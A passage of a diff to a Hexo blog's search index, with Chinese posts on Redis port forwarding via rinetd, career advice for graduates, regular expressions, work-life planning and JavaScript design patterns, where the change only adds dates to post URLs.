&gt;&gt;/etc/rc.local 将 rinetd 设置为自启动。<br>○ 若遇到绑定报错，可以执行 pkill rinetd 结束进程，再执行 rinetd启动进程 rinetd。<br>○ rinetd 正常启动后， 执行netstat -anp | grep 6379 确认服务是否正常运行。</p></blockquote><h2 id="6-在本地进行验证测试"><a href="#6-在本地进行验证测试" class="headerlink" title="6. 在本地进行验证测试"></a>6. 在本地进行验证测试</h2><pre><code class="m">您可以在本地通过 redis-cli 连接 ECS Linux 服务器后进行登录验证，比如安装了 rinetd 的服务器的 IP 是 1.1.1.1，即redis-cli -h 1.1.1.1 -a Redis的实例ID:Redis密码。或者通过 telent 连接 ECS Linux 服务器后进行操作验证。假设 ECS Linux 服务器的 IP 是 1.1.1.1，即 telnet 1.1.1.1 6379。连接上 ECS Linux 服务器后，输入连接 Redis 的密码：auth Redis的连接密码。进行数据写入及查询验证。</code></pre><h2 id="7-客户端连接-Redis"><a href="#7-客户端连接-Redis" class="headerlink" title="7. 客户端连接 Redis"></a>7. 客户端连接 Redis</h2><pre><code class="js">const redis = require(&#39;redis&#39;),      RDS_PORT = 6379,      RDS_PWD = &#39;密码&#39;,      RDS_HOST = &#39;服务器ip&#39;,      RDS_OPTS = {},      client = redis.createClient(RDS_PORT, RDS_HOST, RDS_OPTS)client.auth(RDS_PWD, function () {  console.log(&#39;通过认证&#39;)  client.set(&#39;author&#39;, &#39;jzx&#39;, redis.print)  client.get(&#39;author&#39;, redis.print)})</code></pre><h2 id="8-小结"><a href="#8-小结" class="headerlink" title="8. 小结"></a>8. 小结</h2><ul><li>注意 ECS 若本地 redis-server 打开则先关闭，否则转发的并不是云 redis，而是本地 ECS 服务, 命令如下面给出所示。</li></ul><pre><code class="t">/etc/init.d/redis-server stop/etc/init.d/redis-server start/etc/init.d/redis-server restart</code></pre><ul><li>将 ECS 安全组设置里 redis 端口开放，如：6379。</li></ul>]]></content>
       
       <categories>
@@ -117,8 +117,8 @@
     
     <entry>
       <title>学生思维</title>
-      <link href="/%E5%AD%A6%E7%94%9F%E6%80%9D%E7%BB%B4.html"/>
-      <url>/%E5%AD%A6%E7%94%9F%E6%80%9D%E7%BB%B4.html</url>
+      <link href="/2018/04/10/%E5%AD%A6%E7%94%9F%E6%80%9D%E7%BB%B4.html"/>
+      <url>/2018/04/10/%E5%AD%A6%E7%94%9F%E6%80%9D%E7%BB%B4.html</url>
       <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><h1 id="学生思维"><a href="#学生思维" class="headerlink" title="学生思维"></a>学生思维</h1><h2 id="1-认为准备好了再做"><a href="#1-认为准备好了再做" class="headerlink" title="1. 认为准备好了再做"></a>1. 认为准备好了再做</h2><p>持续认为自己还没准备好，遇到新的挑战（机会），本能的觉得自己没学过，回避，很多时候，是你有了责任，有了目标，才会让自己更强大，而不是自己强大了再做某事。</p><blockquote><p>永远让事情推自己走，而不是让自己跟着事情走。</p></blockquote><h2 id="2-被动接受，而不是主动获取"><a href="#2-被动接受，而不是主动获取" class="headerlink" title="2. 被动接受，而不是主动获取"></a>2. 被动接受，而不是主动获取</h2><p>习惯老师留作业。但是工作了，很多时候要自己发挥，等着布置作业那是泯然众人的做法。在职场上有突破的，往往都更主动，他们不会羞涩于请教，不会因为担心麻烦人而影响工作，他们只是在聚焦如何让工作做得更好，所以积极主动。</p><blockquote><p>不要小看主动的力量。</p></blockquote><h2 id="3-不愿意面对不可预期的逆境"><a href="#3-不愿意面对不可预期的逆境" class="headerlink" title="3. 不愿意面对不可预期的逆境"></a>3. 不愿意面对不可预期的逆境</h2><p>很多人习惯了学生时代的感觉，习惯了有确定性的事物，却不知道，工作中有很多不确定性。你总说在面对各种未知的问题，有问题就要解决问题。有些人面对这样的逆境，不够坚韧，总选择逃避，很难承担重任，职场发展就会受限。</p><h2 id="4-小孩子脾气"><a href="#4-小孩子脾气" class="headerlink" title="4. 小孩子脾气"></a>4. 小孩子脾气</h2><p>不要把无知当个性，不要把口无遮拦当直爽。其他人没有那么多时间了解你丰富的内心，大家更想配合好把事情做完。有个性和脾气不是不可以，但那是建立在自身的本事和成绩上的。</p><blockquote><p>恃才傲物还可以接受，没能力还以自我为中心只会被人嫌弃。</p></blockquote><h2 id="5-过于放大自己的价值"><a href="#5-过于放大自己的价值" class="headerlink" title="5. 过于放大自己的价值"></a>5. 过于放大自己的价值</h2><p>自信心不强经常遇到，但还有另一种极端的情况，就是过于放大自己的价值。在一个新组织里，既有自己的努力，又有组织提供的机会。我们常常说要从小事做起，其实就是在积攒人品，让别人逐步信任你。其实我们往往没有想象中那么重要，只是大家积累起来的信任链条。</p><blockquote><p>不吭不卑才是合适的作风。</p></blockquote><h2 id="6-懒于改变"><a href="#6-懒于改变" class="headerlink" title="6. 懒于改变"></a>6. 懒于改变</h2><p>很多人习惯了按部就班，习惯了在一条轨道上，有什么想法也只是说说而已，并没有勇气去落地执行，只是在等待,这样的人则完全没有任何魄力。</p><blockquote><p>只是等待，没有任何结果。</p></blockquote><h2 id="7-给自己画一条线"><a href="#7-给自己画一条线" class="headerlink" title="7. 给自己画一条线"></a>7. 给自己画一条线</h2><p>我是学…的，我是做…的，所以我不能…。往往希望自己能从他人那里得到一些肯定。其实如果信心坚定，大部分工作都是有可能性的。总能找到很多成功的和失败的例子。最后发现其实还是在于自己。</p><blockquote><p>没有那么多鸿沟拦着你，是你自己拦着自己。</p></blockquote><h2 id="8-没有意识到要和优秀的人在一起"><a href="#8-没有意识到要和优秀的人在一起" class="headerlink" title="8. 没有意识到要和优秀的人在一起"></a>8. 没有意识到要和优秀的人在一起</h2><p>读书的时候，好学生和一般的学生，多少会有点距离。在社会里，工作上要去拉近这个距离。时常看看优秀的人在做什么，看到好的点，学习到自己这里，这是好事。</p><blockquote><p>见贤思齐焉。</p></blockquote><h2 id="9-不知道衡量-10-年总收入"><a href="#9-不知道衡量-10-年总收入" class="headerlink" title="9. 不知道衡量 10 年总收入"></a>9. 不知道衡量 10 年总收入</h2><p>刚入职场，很多学生会比 offer、 收入…等等。不是说不应该在意，而是优先级高的应该是自己的成长值能增加多少，能不能通过自己的努力，把自己作为一个产品给做出来。衡量自己未来的 10 年收入，不仅仅是经济，还有能力、资历的，不争一城一地的得失，将重点放到经营自己这个产品上来。</p><blockquote><p>投资自己，让自己不断增值，才是正事。</p></blockquote><h2 id="10-小红花意识"><a href="#10-小红花意识" class="headerlink" title="10. 小红花意识"></a>10. 小红花意识</h2><p>人都希望被表扬。有的时候就要忍受阶段性的在角落，可能很辛苦，作出了成绩没人认同很委屈，稍微作出了点事就想收到认同。其实，这往往需要时间、需要积累和沉淀。很多事你是在为自己做，做多了，大概率会有好结果，即使不是立刻就有。</p><blockquote><p>自己的行为过于依赖周围人的反应，反而会打乱自己的节奏。</p></blockquote><h2 id="11-连他都可以"><a href="#11-连他都可以" class="headerlink" title="11. 连他都可以"></a>11. 连他都可以</h2><p>在学校里，你成绩可能比人家好，在社会上，可能人家混的比你好。社会和学校有他们自己的规则，不要在比较重蹉跎。</p><blockquote><p>按照自己的节奏，一步一步让自己变得更好。</p></blockquote><h2 id="12-不会保护自己"><a href="#12-不会保护自己" class="headerlink" title="12. 不会保护自己"></a>12. 不会保护自己</h2><p>这个世界存在坏人，因为利益、嫉妒、扭曲的心理…学校可能环境相对简单，但是工作中，情况就要复杂很多。比如你是医生，就要做好医闹的准备。在公司工作，该有的流程，留下邮件的，都得有。</p><h2 id="13-伸手党意识"><a href="#13-伸手党意识" class="headerlink" title="13. 伸手党意识"></a>13. 伸手党意识</h2><p>在请他人帮忙处理前，自己先尽力找到处理问题的办法。实在不行再开口，又或者是时间周期短，加急的情况。</p><h2 id="14-理性投资消费"><a href="#14-理性投资消费" class="headerlink" title="14. 理性投资消费"></a>14. 理性投资消费</h2><p>常常有人说我穷、没钱。大多数人是家境可以，但是该消费的地方不消费，例如：学习和自我提升。不该消费的地方大手笔，例如：电脑要最新，手机要最新。更多体现的是一种攀比心理。如何领先他人抓住机遇，也体现在如何正确和理性的投资。</p><h2 id="15-做为新人不够谦虚"><a href="#15-做为新人不够谦虚" class="headerlink" title="15. 做为新人不够谦虚"></a>15. 做为新人不够谦虚</h2><p>说话的方式和语气要基于自己的资历。出现与自己资历不对称的气场。容易起反作用。但这并不是说要唯唯诺诺，保持谦虚，是一种态度。</p><h2 id="16-认识人多就是资源"><a href="#16-认识人多就是资源" class="headerlink" title="16. 认识人多就是资源"></a>16. 认识人多就是资源</h2><p>所谓人脉，其实不是认识的人越多越好，而是要和事情，和自己能力匹配，大家基于共同的事情，兴趣认识，主要是一起讨论和学习，当然还有认识彼此。</p><blockquote><p>要让这个状态成为自然的结果，而不是刻意为之。</p></blockquote><h2 id="17-缺乏职场必要的沟通"><a href="#17-缺乏职场必要的沟通" class="headerlink" title="17. 缺乏职场必要的沟通"></a>17. 缺乏职场必要的沟通</h2><p>通过书面的、语言的沟通，把自己的观点表达的有条理并且富有逻辑，讲明白了事情，但是又不会引起反感，如果身边有这样的人，可以向他们学习学习。</p><h2 id="18-锚定在周围人身上"><a href="#18-锚定在周围人身上" class="headerlink" title="18. 锚定在周围人身上"></a>18. 锚定在周围人身上</h2><p>在一个行业里，应该去和整个行业最优秀的人做比较，经常跳出来，看看最好的人在做什么，不要把自己局限住，把自己的目标设高点，就算达不到，也要往上爬。</p><h2 id="19-缺乏自己判断，容易被他人影响"><a href="#19-缺乏自己判断，容易被他人影响" class="headerlink" title="19. 缺乏自己判断，容易被他人影响"></a>19. 缺乏自己判断，容易被他人影响</h2><p>跳出他人的观点，敢于对各种观点质疑。取其精华，抛弃糟蹋。</p><h2 id="20-没有能力边界的概念"><a href="#20-没有能力边界的概念" class="headerlink" title="20. 没有能力边界的概念"></a>20. 没有能力边界的概念</h2><p>有时候总是说，凡是努力就会成功，如果没有成功，就是努力的还不够。但是随着成长，就会发现，有些事情就是自己不擅长做的。就像高中成绩，总有好的和不好的课程。有时候我们还是把自己能力边界之内的事情做好结果会更好。</p><blockquote><p>聚焦自己能力之内的，不要意想天开，认为自己无所不能。</p></blockquote>]]></content>
       
       <categories>
@@ -138,8 +138,8 @@
     
     <entry>
       <title>Travis CI 实现自动化部署</title>
-      <link href="/Travis-CI-%E5%AE%9E%E7%8E%B0%E8%87%AA%E5%8A%A8%E5%8C%96%E9%83%A8%E7%BD%B2.html"/>
-      <url>/Travis-CI-%E5%AE%9E%E7%8E%B0%E8%87%AA%E5%8A%A8%E5%8C%96%E9%83%A8%E7%BD%B2.html</url>
+      <link href="/2018/04/09/Travis-CI-%E5%AE%9E%E7%8E%B0%E8%87%AA%E5%8A%A8%E5%8C%96%E9%83%A8%E7%BD%B2.html"/>
+      <url>/2018/04/09/Travis-CI-%E5%AE%9E%E7%8E%B0%E8%87%AA%E5%8A%A8%E5%8C%96%E9%83%A8%E7%BD%B2.html</url>
       <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script>]]></content>
       
       
@@ -147,8 +147,8 @@
     
     <entry>
       <title>正则表达式</title>
-      <link href="/%E6%AD%A3%E5%88%99%E8%A1%A8%E8%BE%BE%E5%BC%8F.html"/>
-      <url>/%E6%AD%A3%E5%88%99%E8%A1%A8%E8%BE%BE%E5%BC%8F.html</url>
+      <link href="/2018/04/04/%E6%AD%A3%E5%88%99%E8%A1%A8%E8%BE%BE%E5%BC%8F.html"/>
+      <url>/2018/04/04/%E6%AD%A3%E5%88%99%E8%A1%A8%E8%BE%BE%E5%BC%8F.html</url>
       <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><h1 id="正则的介绍"><a href="#正则的介绍" class="headerlink" title="正则的介绍"></a>正则的介绍</h1><p>  正则表达式(Regular Expression)是一种文本模式，包括普通字符（例如，a 到 z 之间的字母）和特殊字符（称为”元字符”）。<br>  正则表达式使用单个字符串来描述、匹配一系列匹配某个句法规则的字符串。<br>  正则表达式是烦琐的，但它是强大的，学会之后的应用会让你除了提高效率外，会给你带来绝对的成就感。</p><h2 id="修饰符"><a href="#修饰符" class="headerlink" title="修饰符"></a>修饰符</h2><h3 id="i"><a href="#i" class="headerlink" title="i"></a>i</h3><p>  执行对大小写不敏感的匹配。</p><h3 id="g"><a href="#g" class="headerlink" title="g"></a>g</h3><p>  执行全局匹配（所有，而不是找到一个后停止匹配）。</p><h3 id="m"><a href="#m" class="headerlink" title="m"></a>m</h3><p>  执行多行匹配。</p><h2 id="方括号"><a href="#方括号" class="headerlink" title="方括号"></a>方括号</h2><h3 id="abc"><a href="#abc" class="headerlink" title="[abc]"></a>[abc]</h3><p>  查找方括号之间的任何字符。</p><h3 id="abc-1"><a href="#abc-1" class="headerlink" title="[^abc]"></a>[^abc]</h3><p>  查找任何不在方括号内的字符。</p><h3 id="0-9"><a href="#0-9" class="headerlink" title="[0-9]"></a>[0-9]</h3><p>  查找任何从 0 至 9 的数字。</p><h3 id="a-z"><a href="#a-z" class="headerlink" title="[a-z]"></a>[a-z]</h3><p>  查找任何从小写 a 到 z 的字符。</p><h3 id="A-Z"><a href="#A-Z" class="headerlink" title="[A-Z]"></a>[A-Z]</h3><p>  查找任何从大写 A 到 Z 的字符。</p><h3 id="A-z"><a href="#A-z" class="headerlink" title="[A-z]"></a>[A-z]</h3><p>  查找任何从大写 A 到小写 z 的字符。</p><h3 id="adgk"><a href="#adgk" class="headerlink" title="[adgk]"></a>[adgk]</h3><p>  查找括号中给定的字符集。</p><h3 id="adgk-1"><a href="#adgk-1" class="headerlink" title="[^adgk]"></a>[^adgk]</h3><p>  查找除括号内之外的所有字符。</p><h3 id="red-blue-green"><a href="#red-blue-green" class="headerlink" title="[red|blue|green]"></a>[red|blue|green]</h3><p>  查找任何指定的选项。</p><h2 id="元字符"><a href="#元字符" class="headerlink" title="元字符"></a>元字符</h2><h3 id="‘-’"><a href="#‘-’" class="headerlink" title="‘.’"></a>‘.’</h3><p>  查找单个字符，除了换行符和结束符。</p><h3 id="w"><a href="#w" class="headerlink" title="\w"></a>\w</h3><p>  查找单词字符。</p><h3 id="W"><a href="#W" class="headerlink" title="\W"></a>\W</h3><p>  查找非单词字符。</p><h3 id="d"><a href="#d" class="headerlink" title="\d"></a>\d</h3><p>  查找数字。</p><h3 id="D"><a href="#D" class="headerlink" title="\D"></a>\D</h3><p>  查找非数字。</p><h3 id="s"><a href="#s" class="headerlink" title="\s"></a>\s</h3><p>  查找空白字符。</p><h3 id="S"><a href="#S" class="headerlink" title="\S"></a>\S</h3><p>  查找非空白字符。</p><h3 id="b"><a href="#b" class="headerlink" title="\b"></a>\b</h3><p>  匹配单词边界。</p><h3 id="B"><a href="#B" class="headerlink" title="\B"></a>\B</h3><p>  匹配非单词边界。</p><h3 id="0"><a href="#0" class="headerlink" title="\0"></a>\0</h3><p>  查找null字符。</p><h3 id="n"><a href="#n" class="headerlink" title="\n"></a>\n</h3><p>  查找换行符。</p><h3 id="f"><a href="#f" class="headerlink" title="\f"></a>\f</h3><p>  查找换页符。</p><h3 id="r"><a href="#r" class="headerlink" title="\r"></a>\r</h3><p>  查找回车符。</p><h3 id="t"><a href="#t" class="headerlink" title="\t"></a>\t</h3><p>  查找制表符。</p><h3 id="v"><a href="#v" class="headerlink" title="\v"></a>\v</h3><p>  查找垂直制表符。</p><h3 id="xxx"><a href="#xxx" class="headerlink" title="\xxx"></a>\xxx</h3><p>  查找以八进制 xxx 规定的字符。</p><h3 id="xdd"><a href="#xdd" class="headerlink" title="\xdd"></a>\xdd</h3><p>  查找以十六进制 dd 规定的字符。</p><h3 id="uxxxx"><a href="#uxxxx" class="headerlink" title="\uxxxx"></a>\uxxxx</h3><p>  查找以十六进制 xxxx 规定的 Uicode 字符。</p><h2 id="量词"><a href="#量词" class="headerlink" title="量词"></a>量词</h2><h3 id="n-1"><a href="#n-1" class="headerlink" title="n+"></a>n+</h3><p>  匹配任何包含至少一个 n 的字符串。</p><blockquote><p>eg: /a+/ 匹配 “candy” 中的 “a”， “caaaaaandy” 中的 “a”。</p></blockquote><h3 id="n-2"><a href="#n-2" class="headerlink" title="n*"></a>n*</h3><p>  匹配任何包含零个或多个 n 的字符串。</p><blockquote><p>eg: /bo*/ 匹配 “a ghost booooed ” 中的 “boooo”，“hell by” 中的 ”b”。</p></blockquote><h3 id="n？"><a href="#n？" class="headerlink" title="n？"></a>n？</h3><p>  匹配任何包含零个或一个 n 的字符串。</p><blockquote><p>eg: /e?le?/ 匹配 “angel” 中的 “el”，“angle” 中的 “le”。</p></blockquote><h3 id="n-X"><a href="#n-X" class="headerlink" title="n(X)"></a>n(X)</h3><p>  匹配包含 X个 n 的序列的字符串。</p><blockquote><p>eg: /a(2)/ 不匹配 “candy” 中的 “a”，但是匹配 “caandy”，“caaandy”。</p></blockquote><h3 id="n-X-1"><a href="#n-X-1" class="headerlink" title="n{X,}"></a>n{X,}</h3><p>  X 是一个正整数，前面的模式 n 连续出现至少 X 次匹配。</p><blockquote><p>/a{2,}/ 不匹配 “candy”，匹配 “caandy” 和 “caaaandy” 中的所有 “a“。</p></blockquote><h3 id="n-X-Y"><a href="#n-X-Y" class="headerlink" title="n{X, Y}"></a>n{X, Y}</h3><p>  n 出现至少 X 次，至多 Y 次。</p><blockquote><p>/a{1,3} 匹配 ”candy“ 的 ”a“，”caandy“ 中的 ”aa“，“caaaandy” 前三个 “a”。</p></blockquote><h3 id="n-3"><a href="#n-3" class="headerlink" title="n$"></a>n$</h3><p>  匹配任何以 n 结尾的字符串。</p><h3 id="n-4"><a href="#n-4" class="headerlink" title="^n"></a>^n</h3><p>  匹配任何以 n 开头的字符串。</p><h3 id="n-5"><a href="#n-5" class="headerlink" title="?=n"></a>?=n</h3><p>  匹配任何其后紧接指定 n 的字符串。</p><h3 id="n-6"><a href="#n-6" class="headerlink" title="?!n"></a>?!n</h3><p>  匹配任何其后没有指定 n 的字符串。</p><h2 id="RegExp-对象方法"><a href="#RegExp-对象方法" class="headerlink" title="RegExp 对象方法"></a>RegExp 对象方法</h2><h3 id="compile"><a href="#compile" class="headerlink" title="compile"></a>compile</h3><p>  编译正则表达式。</p><h3 id="exec"><a href="#exec" class="headerlink" title="exec"></a>exec</h3><p>  检索字符串中指定的值。返回找到的值，并确定其位置。</p><h3 id="test"><a href="#test" class="headerlink" title="test"></a>test</h3><p>  检索字符串中指定的值，返回 true or false。</p><h2 id="String-对象的正则方法"><a href="#String-对象的正则方法" class="headerlink" title="String 对象的正则方法"></a>String 对象的正则方法</h2><h3 id="search"><a href="#search" class="headerlink" title="search"></a>search</h3><p>  检索与正则表达式相匹配的值。</p><blockquote><p>eg: str.search(“blue”) 返回的是 blue 出现的字符下标(大小写敏感)。</p></blockquote><h3 id="match"><a href="#match" class="headerlink" title="match"></a>match</h3><p>  找到一个或者多个正则表达式的匹配。</p><blockquote><p>eg: str.match(/ain/g) 返回所有出现的 ain (大小写敏感)。</p></blockquote><h3 id="replace"><a href="#replace" class="headerlink" title="replace"></a>replace</h3><p>  替换与正则表达式匹配的字串。</p><blockquote><p>eg: str.replace(/blue/g,”red”) 替换所有 blue 为 red。</p></blockquote><h3 id="split"><a href="#split" class="headerlink" title="split"></a>split</h3><p>  把字符串分割为字符串数组。</p><blockquote><p>string.split(separator,limit) 在 separator 指定位置分割, 返回内容不超过 limit 长度。</p></blockquote>]]></content>
       
       <categories>
@@ -168,8 +168,8 @@
     
     <entry>
       <title>如何规划自己的工作和生活</title>
-      <link href="/%E5%A6%82%E4%BD%95%E8%A7%84%E5%88%92%E8%87%AA%E5%B7%B1%E7%9A%84%E5%B7%A5%E4%BD%9C%E5%92%8C%E7%94%9F%E6%B4%BB.html"/>
-      <url>/%E5%A6%82%E4%BD%95%E8%A7%84%E5%88%92%E8%87%AA%E5%B7%B1%E7%9A%84%E5%B7%A5%E4%BD%9C%E5%92%8C%E7%94%9F%E6%B4%BB.html</url>
+      <link href="/2018/03/19/%E5%A6%82%E4%BD%95%E8%A7%84%E5%88%92%E8%87%AA%E5%B7%B1%E7%9A%84%E5%B7%A5%E4%BD%9C%E5%92%8C%E7%94%9F%E6%B4%BB.html"/>
+      <url>/2018/03/19/%E5%A6%82%E4%BD%95%E8%A7%84%E5%88%92%E8%87%AA%E5%B7%B1%E7%9A%84%E5%B7%A5%E4%BD%9C%E5%92%8C%E7%94%9F%E6%B4%BB.html</url>
       <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><p>人人都在说工作-生活平衡，但好像都不敢真正拥有它，移动互联网，正在让工作和生活的边界变得越来越模糊…</p><h2 id="花时间做规划"><a href="#花时间做规划" class="headerlink" title="花时间做规划"></a>花时间做规划</h2><p>给自己的时间做规划，不意味着你可以更放松，反而需要更严格的时间规划，尝试对时间概念有一个精准的定位。</p><ul><li>明确目标：包括工作目标，生活目标。</li><li>给事情做优先级：按重要程度划分。</li><li>细化目标所需时间：精确目标实现所需时间，大到年月、小到分时。</li></ul><blockquote><p>越忙越乱，越乱越忙</p></blockquote><h2 id="形成日常惯例，减少意志力的损耗"><a href="#形成日常惯例，减少意志力的损耗" class="headerlink" title="形成日常惯例，减少意志力的损耗"></a>形成日常惯例，减少意志力的损耗</h2><p>给自己每周、每月、每年定下固定活动时间分配，让它自然而然的形成惯例。</p><blockquote><p>越来越多的人认为，只有不断工作才能证明自己有能力、有责任心</p></blockquote><h2 id="有效地休闲"><a href="#有效地休闲" class="headerlink" title="有效地休闲"></a>有效地休闲</h2><p>休闲时间不在长短，而在于质量。高质量的休闲让你体验到的是放松，而不是无聊和空虚。</p><p>休闲的必要性：放松可以让人们正在接下来的工作中效率更高。并且放松可以用更宽广的思路与抽象的方式去思考，容易产生有创造力的洞察力。</p><blockquote><p>长时间的工作会降低人们的创造力，提高心脏病、抑郁症的发生率。</p></blockquote>]]></content>
       
       <categories>
@@ -189,8 +189,8 @@
     
     <entry>
       <title>js常见的九种设计模式</title>
-      <link href="/js%E5%B8%B8%E8%A7%81%E7%9A%84%E4%B9%9D%E7%A7%8D%E8%AE%BE%E8%AE%A1%E6%A8%A1%E5%BC%8F.html"/>
-      <url>/js%E5%B8%B8%E8%A7%81%E7%9A%84%E4%B9%9D%E7%A7%8D%E8%AE%BE%E8%AE%A1%E6%A8%A1%E5%BC%8F.html</url>
+      <link href="/2018/03/09/js%E5%B8%B8%E8%A7%81%E7%9A%84%E4%B9%9D%E7%A7%8D%E8%AE%BE%E8%AE%A1%E6%A8%A1%E5%BC%8F.html"/>
+      <url>/2018/03/09/js%E5%B8%B8%E8%A7%81%E7%9A%84%E4%B9%9D%E7%A7%8D%E8%AE%BE%E8%AE%A1%E6%A8%A1%E5%BC%8F.html</url>
       <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><h2 id="介绍"><a href="#介绍" class="headerlink" title="介绍"></a>介绍</h2><p>设计模式(DP)是一套被反复使用，多数人知晓的、经过分类编目的、代码设计经验的总结。</p><h2 id="分类"><a href="#分类" class="headerlink" title="分类"></a>分类</h2><ul><li>单体模式</li><li>单例模式</li><li>工厂模式</li><li>观察者模式（发布订阅者模式）</li><li>策略模式</li><li>模块模式</li><li>模板模式</li><li>代理模式</li><li>外观模式</li></ul><blockquote><p>设计模式目前有23种，目前只列举出了在实战中比较常用的几种。</p></blockquote><h2 id="九种"><a href="#九种" class="headerlink" title="九种"></a>九种</h2><h3 id="单体模式"><a href="#单体模式" class="headerlink" title="单体模式"></a>单体模式</h3><h4 id="概念"><a href="#概念" class="headerlink" title="概念"></a>概念</h4><p>单体是一个用来划分命名空间并将一批相关的属性和方法组织在一起的对象，如果它可以被实例化，那么它只能被实例化一次。</p><h4 id="特点"><a href="#特点" class="headerlink" title="特点"></a>特点</h4><ol><li>可以用来划分命名空间，从而清除全局变量所带来的危险。</li><li>利用分支技术来封装浏览器之间的差异。</li><li>可以把代码组织的更为一体。</li></ol><h4 id="代码实现"><a href="#代码实现" class="headerlink" title="代码实现"></a>代码实现</h4><pre><code class="js">var Singleton = {  attribute: true,  method1: function () {},  method2: function () {}}</code></pre><h4 id="应用场景"><a href="#应用场景" class="headerlink" title="应用场景"></a>应用场景</h4><p>单体模式我们平时应用的比较多，相当于我们把代码封装在一起，只暴露一个入口，防止对全局的污染。</p><h3 id="单例模式"><a href="#单例模式" class="headerlink" title="单例模式"></a>单例模式</h3><h4 id="概念-1"><a href="#概念-1" class="headerlink" title="概念"></a>概念</h4><p>单例模式定义了一个对象的创建过程，此对象只有一个单独的实例，并提供一个访问它的全局访问点。也可以说单例就是保证一个类只有一个实例，实现的方法一般是先判断实例存在与否，如果存在直接返回，如果不存在就创建了再返回，这就确保了一个类只有一个实例对象。</p><h4 id="代码实现-1"><a href="#代码实现-1" class="headerlink" title="代码实现"></a>代码实现</h4><pre><code class="js">var single = (function () {  var unique  function getInstance () {    // 如果该实例存在，则直接返回，否则就对其实例化    if (unique === undefined) {      unique = new Construct()    }    return unique  }  function Construct () {    //生成单例的构造函数的代码  }  return {    getInstance  }})()</code></pre><p>上面的代码中，unique 便是返回对象的引用，而 getinstance 便是静态方法获得实例。 Construct 便是创建实例的构造函数。<br>可以通过 single.getInstance() 来获取到单例，并且每次调用均获取到同一个单例。这是 单例模式 所实现的效果。</p><h4 id="应用场景-1"><a href="#应用场景-1" class="headerlink" title="应用场景"></a>应用场景</h4><p>单例模式是一种常用的模式，有一些对象我们往往只需要一个，比如全局缓存、浏览器的 window 对象。</p><ol><li>可以用它来划分命名空间。</li><li>借助单例模式，可以把代码组织的更为一致，方便阅读和维护。</li></ol><h3 id="工厂模式"><a href="#工厂模式" class="headerlink" title="工厂模式"></a>工厂模式</h3><h4 id="概念-2"><a href="#概念-2" class="headerlink" title="概念"></a>概念</h4><p>提供创建对象的接口，根据参数产生相应的对象，就是把成员对象的创建工作交给一个外部对象，好处在于消除对象之间的耦合。</p><h4 id="分类-1"><a href="#分类-1" class="headerlink" title="分类"></a>分类</h4><ul><li>简单工厂模式：使用一个类，通常为单体，来生成实例。</li><li>复杂工厂模式：将其成员对象的实例化推到子类中，子类可以重写父类接口的方法以便创建的时候指定自己的对象类型。父类只对创建过程中的一般性问题进行处理，这些处理会被子类继承，子类之间是相互独立的，具体的业务逻辑会放在子类中进行编写。</li></ul><h4 id="代码实现-2"><a href="#代码实现-2" class="headerlink" title="代码实现"></a>代码实现</h4><p>简单工厂模式</p><pre><code class="js">var XHRFactory = function () {}XHRFactory.createXMLHttp = function () {  var XMLHttp = null  if (window.XMLHttpRequest) {    XMLHttp = new XMLHttpRequest()  } else if (window.ActiveObject) {    XMLHttp = new ActiveXObject(&#39;Microsoft.XMLHTTP&#39;)  }  return XMLHttp}var Ajax = function () {  var XMLHttp = XHRFactory.createXMLHttp()}</code></pre><p>复杂工厂模式：先设计一个抽象类，这个类不能被实例化，只能用来派生子类，最后通过对子类的拓展实现工厂方法。</p><pre><code class="js">var XHRF = function () {}XHRF.prototype = {  createFactory: function () {    throw new Error(&#39;this is an abstract class&#39;)  }}var XHRH = function () {}// 子类继承父类extend(XHRH, XHRF)// 把父类原型传递给子类，实现继承XHRH.prototype = new XHRF()// 重置子类原型的构造器为子类自身XHRH.prototype.constructor = XHRH// 重新定义createFactory 方法XHRH.prototype.createFactory = function () {  var XMLHttp = null  if (window.XMLHrrpRequest) {    XMLHttp = new XMLHttpRequest()  } else if (window.ActiveXObject) {    XMLHttp = new ActiveXObject(&#39;Microsoft.XMLHTTP&#39;)  }  return XMLHttp}</code></pre><h4 id="应用场景-2"><a href="#应用场景-2" class="headerlink" title="应用场景"></a>应用场景</h4><ol><li>对象的构建十分复杂</li><li>需要依赖具体环境创建不同实例</li><li>处理大量具有相同属性的小对象</li></ol><h4 id="优点"><a href="#优点" class="headerlink" title="优点"></a>优点</h4><ol><li>弱化对象间的耦合，防止代码重复。</li><li>重复性的代码可以放在父类中去编写，子类继承于父类的所有成员属性和方法，子类只专注于实现自己的业务逻辑。</li></ol><h4 id="缺点"><a href="#缺点" class="headerlink" title="缺点"></a>缺点</h4><p>当工厂增加到一定程度的时候，提高了代码的复杂度，可读性下降。而且没有解决对象的识别问题，既怎么知道一个对象的类型。</p>]]></content>
       
       <categories>
@@ -210,8 +210,8 @@
     
     <entry>
       <title>redis环境搭建</title>
-      <link href="/redis%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA.html"/>
-      <url>/redis%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA.html</url>
+      <link href="/2018/03/07/redis%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA.html"/>
+      <url>/2018/03/07/redis%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA.html</url>
